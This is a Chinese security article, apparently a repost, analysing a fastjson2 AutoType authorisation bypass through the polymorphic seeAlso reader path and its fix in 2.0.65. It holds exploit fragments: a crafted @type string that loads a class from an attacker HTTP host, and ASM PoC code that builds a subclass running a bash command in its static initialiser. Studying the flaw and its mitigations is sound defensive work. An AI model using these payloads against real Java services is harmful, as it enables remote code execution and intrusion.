Fastjson 2 AutoType 授权绕过——默认配置也能被带出远程类加载 | CN-SEC 中文网
Fastjson2虽无CVE记录,但2026年7月曝出默认配置下的AutoType授权绕过漏洞:当解析路径存在多态类型时,Object 2026-9-20 02:57:39 Author: cn-sec.com(查看原文) 阅读量:0 收藏

Fastjson2虽无CVE记录,但2026年7月曝出默认配置下的AutoType授权绕过漏洞:当解析路径存在多态类型时,ObjectReaderSeeAlso会强制打开SupportAutoType,使攻击者通过@type注入远程类加载串实现RCE,影响≤2.0.62版本,官方于2.0.65修复。

Fastjson 2 AutoType 授权绕过——默认配置下也能被带出远程类加载

讲 Fastjson 2(fastjson2)之前,得先把它和老 Fastjson(fastjson 1.x)摘干净。很多人一听"Fastjson"就想到 CVE-2017-18349、CVE-2022-25845 那一串反序列化漏洞,以为 fastjson2 是 fastjson1 修复漏洞后出的新版本,漏洞情况也差不多。

这个理解是错的。fastjson2 是阿里重写的 JSON 库(groupId 从 com.alibaba 换成 com.alibaba.fastjson2),底层架构整个换过,老 Fastjson 1.x 的黑名单类、JNDI 那些利用链,它基本不吃这套。所以 2026 年到现在,主流漏洞库确实没给 fastjson2 收录过一条 CVE。

但"没有 CVE"不等于"没风险"。2026 年 7 月底,业内陆续有人放出 fastjson2 在默认配置下也能被带出远程类加载的研究,直指它自己那套多态反序列化(@JSONType(seeAlso))机制。2026 年 9 月 2 日(也就是今天),官方发布 2.0.65,明确这就是一个安全修复版本,修的就是一条 AutoType 授权绕过。这篇文章把这条链掰开讲清楚。

一、漏洞概述

🔹 影响版本:fastjson2 ≤ 2.0.62(AutoType 默认关闭也能打)

🔹 触发前提:解析路径里存在多态类型(@JSONType(seeAlso=…),或字段上是 Jackson 的 @JsonSubTypes)

🔹 利用结果:JDK 8 / 21 可远程类加载并执行 <clinit>,JDK 9+ 某些情况降级为 SSRF

🔹 官方修复:2.0.65(2026-09-02 发布),PR #7695 / #7703

🔹 临时缓解:-Dfastjson2.parser.safeMode=true

一句话概括:fastjson2 默认不开 AutoType,看起来很稳,但只要目标代码用了多态建模,ObjectReaderSeeAlso 会在构造对象读取器时自己把 SupportAutoType 打开,于是攻击者放进 @type 的 jar:http:.. 串一路走到了类加载器,把远程的恶意类拉下来执行。

二、漏洞原理

fastjson2 的官方安全设计是三层:

1. AutoType 默认关闭——普通 @type 默认不解析成任意类

2. SafeMode——完全禁用 AutoType,连显式传参也不认

3. deny list(黑名单)+ type name 校验——拦截 ClassLoader、DataSource、RowSet 等危险类

这套设计对"普通 JSON.parse / parseObject(body, Object.class)"确实有效。但问题出在多态类型这条路。

fastjson2 支持多态建模:一个父类标记了子类,比如 Animal 上用 @JSONType(seeAlso = {Dog.class, Cat.class}),那么序列化/反序列化时按 @type 字段在子类之间分发。为了实现这个分发,它构造的是 ObjectReaderSeeAlso。这个 reader 的构造函数里,硬编码了一段:

// ObjectReaderSeeAlso.java 构造函数this.features = SupportAutoType.mask;   // 直接把 SupportAutoType 置位

ObjectReaderAdapter.getFeatures() 会把它取出来。到真正的解析时:

// 门控判断boolean supportAutoType = ((readerFeatures | ctxFeatures | features) & SupportAutoType.mask) != 0;// 永远为 true → 即使应用从未显式开启 AutoType

也就是说,只要触发了 seeAlso 多态路径,AutoType 的开关就被这个 reader 自己拨到了 ON。应用代码一行 AutoType 都没开,但这条链上的 @type 会被当作 AutoType 处理。这就是"授权绕过"的本质——@type 的哈希命中了 reader 缓存,被当成了"已经授权过"的类名。

三、关键:checkAutoType 里的一条无校验回退

AutoType 打开之后,ObjectReaderProvider.checkAutoType 会读这个 @type。它对类名做增量 FNV-1a-64 哈希,逐个前缀去比对 acceptHashCodes(白名单哈希)。攻击者随便写个 jar:http:.. 开头的名字,哈希必然不命中。按正常逻辑,不命中就该拒绝。但看 fastjson2 2.0.53 这段代码:

for (int i = 0; i < typeName.length(); i++) {    hash ^= typeName.charAt(i);    hash *= MAGIC_PRIME;    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {        return loadClass(typeName);        // 哈希命中 → 直接加载    }}if (!supportAutoType) {    return null;                            // 普通 JSON 解析:不命中就到这里,返回 null}// SupportAutoType 已开启 → 直接回退加载,没有任何哈希校验Class<?> mapped = TypeUtils.getMapping(typeName);if (mapped != null) { ... return mapped; }clazz = TypeUtils.loadClass(typeName);      // ← 第 561 行,无哈希校验,直接用攻击者字符串

普通路径(supportAutoType=false)下,哈希不命中就 return null 收工,这条链也就断了。但 seeAlso reader 已经把它置成 true,于是走到了最后的 TypeUtils.loadClass(typeName)——这里没有哈希校验,攻击者的字符串被原样交给类加载器。后面的 ClassLoader/DataSource/RowSet 黑名单检查发生在 loadClass之后,拦不住这次加载本身。

四、jar:http: 与点号技巧——绕 JDK 的 checkName

类名是 jar:http:..203.0.113.10:18080.exploit!.Evil 这种,要走到 URLClassLoader.findClass 有两个坑要过。

坑一:JDK ClassLoader.checkName 拒绝含 / 的二进制类名。

// 含 / 会被拒"jar:http://203.0.113.10:18080/exploit!/Evil"   → checkName 失败 → NoClassDefFoundError// 用点号替代 / ,checkName 放行"jar:http:..203.0.113.10:18080.exploit!.Evil"   → checkName 通过 ✓

坑二:URLClassLoader.findClass 内部会把 . 换成 / 再拼 .class。

String path = name.replace('.', '/').concat(".class");// "jar:http:..203.0.113.10:18080.exploit!.Evil" → "jar:http://203.0.113.10:18080/exploit!/Evil.class"

点号和斜杠的换算关系:

原始 URL
点号形式
findClass replace('.','/') 后
http:// http:.. http://
/exploit!/ .exploit!. /exploit!/

于是请求变成了对攻击者 HTTP 服务器的 GET /exploit,拉下来一个 JAR,里面是 Evil.class。

五、泛型派生态检查与 clinit 执行

类下载并 defineClass 之后,checkAutoType 还有一次类型兼容检查:

// 必须能赋值给声明的父类Animal.isAssignableFrom(Evil) → true  才放行

所以恶意类必须继承声明的那个多态父类(比如 Animal)。这在攻击者那边不是问题——目标类名一旦暴露(如 com.vuln.fastjson.Animal),用 ASM 动态生成一个继承它的子类即可,构建时就能做,不依赖目标环境里的字节码。下面这段是 PoC 里用 ASM 生成 Evil 的核心:

// GenPayload.java —— 生成的 Evil 继承 Animal,内联 /bin/bash-c"<cmd>"cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internal,         null, "com/vuln/fastjson/Animal", null);// ... 构造方法调用 super(Animal.<init>)mv = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);// 静态初始化块里 Runtime.getRuntime().exec("/bin/bash","-c","<cmd>")

类被加载、defineClass 通过类型检查的瞬间,JVM 会执行 <clinit> 静态初始化块,命令随之执行,攻击者通过回调服务器把外带结果收回来。整个过程目标应用一次 AutoType 都没敢开过。

六、影响范围与几个值得注意的点

版本与 JDK。 heart147 那个 PoC(专门做 fastjson2 RCE 的)标注:fastjson2 ≤ 2.0.62,JDK 8 和 JDK 21 均实测完整 RCE,JDK 11/17 预期可行。dinosn 那个 Docker 复现环境则明确:fastjson2 2.0.57 / 2.0.62 在默认配置下都能拉到远程类并初始化(2.0.62 默认构建),但 JDK 17 下 defineClass 会因为"非法类名"抛 ClassFormatError,净效果从 RCE 降级成 SSRF。

Jackson 注解也中招。 fastjson2 默认 useJacksonAnnotation=true,所以模型上只写了 Jackson 的 @JsonSubTypes / @JsonTypeInfo 也能触发 seeAlso 路径,不需要目标项目用 fastjson2 自己的 @JSONType 注解。这对很多"为了稳妥换到 fastjson2、但其实还在用 Jackson 老模型"的项目是个提醒。

autoTypeFilter 不是白名单。 有人以为设了 autoTypeFilter("com.example.") 就只放行自家包。实际情况是:ObjectReaderProvider.checkAutoType 调 handler,只在 handler 返回非空(即命中)时短路;名字不匹配时 handler 返回 null,代码继续往下走正常的 AutoType 解析。也就是说它是个"额外放行"的钩子,不是"仅允许"的过滤器。用它当边界,等于没有边界。

2.0.65 修了什么。 官方发布说明写得清楚:@type 的 FNV-1a-64 哈希命中 reader-cache 不再作为授权依据,所有不可信输入路径(JSON、JSONB 的各类 reader)的 @type 都要走完整的 provider 安全检查——SafeMode、deny list、类型名校验、AutoTypeBeforeHandler。也就是说,不再有"哈希命中即放行"的快捷通道。对应的硬化的 PR 是 #7695 / #7703(拒绝含 : 和 ! 的 typeName、哈希命中后二次文本校验、把 ClassLoader/DataSource/RowSet 黑名单补到非 SupportAutoType 路径)。

七、PoC 工具

漏洞利用工具各位大佬网上搜一下就有,我就不主动传播了。如有需要,也可以在评论区回复:fastjson2-rce。

结语

fastjson2 和老 Fastjson 不是一回事,这个认知在排查反序列化问题时很关键。它的 AutoType 默认关闭,挡住了绝大多数传统利用链,但多态反序列化这条旁路在 2.0.62 及以前是敞开的:一个 @JSONType(seeAlso) 或 Jackson 的 @JsonSubTypes 就能让 reader 自己把 AutoType 打开,jar:http:.. 直接把远程类拉进 JVM。2.0.65 是官方针对这条链的安全修复版,9 月 2 日刚发布。判断一个 Java 服务有没有暴露面,别只看它挂了哪个库、开了哪个开关,要看具体走的是哪条解析路径。技巧也好,踩坑也好,都在这些细节里。

关注我,持续不断地成长!

原文始发于微信公众号(逆熵寻生):Fastjson 2 AutoType 授权绕过——默认配置也能被带出远程类加载

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。

点赞

http://cn-sec.com/archives/5444725.html 复制链接 复制链接


文章来源: https://cn-sec.com/archives/5444725.html
如有侵权请联系:admin#unsafe.sh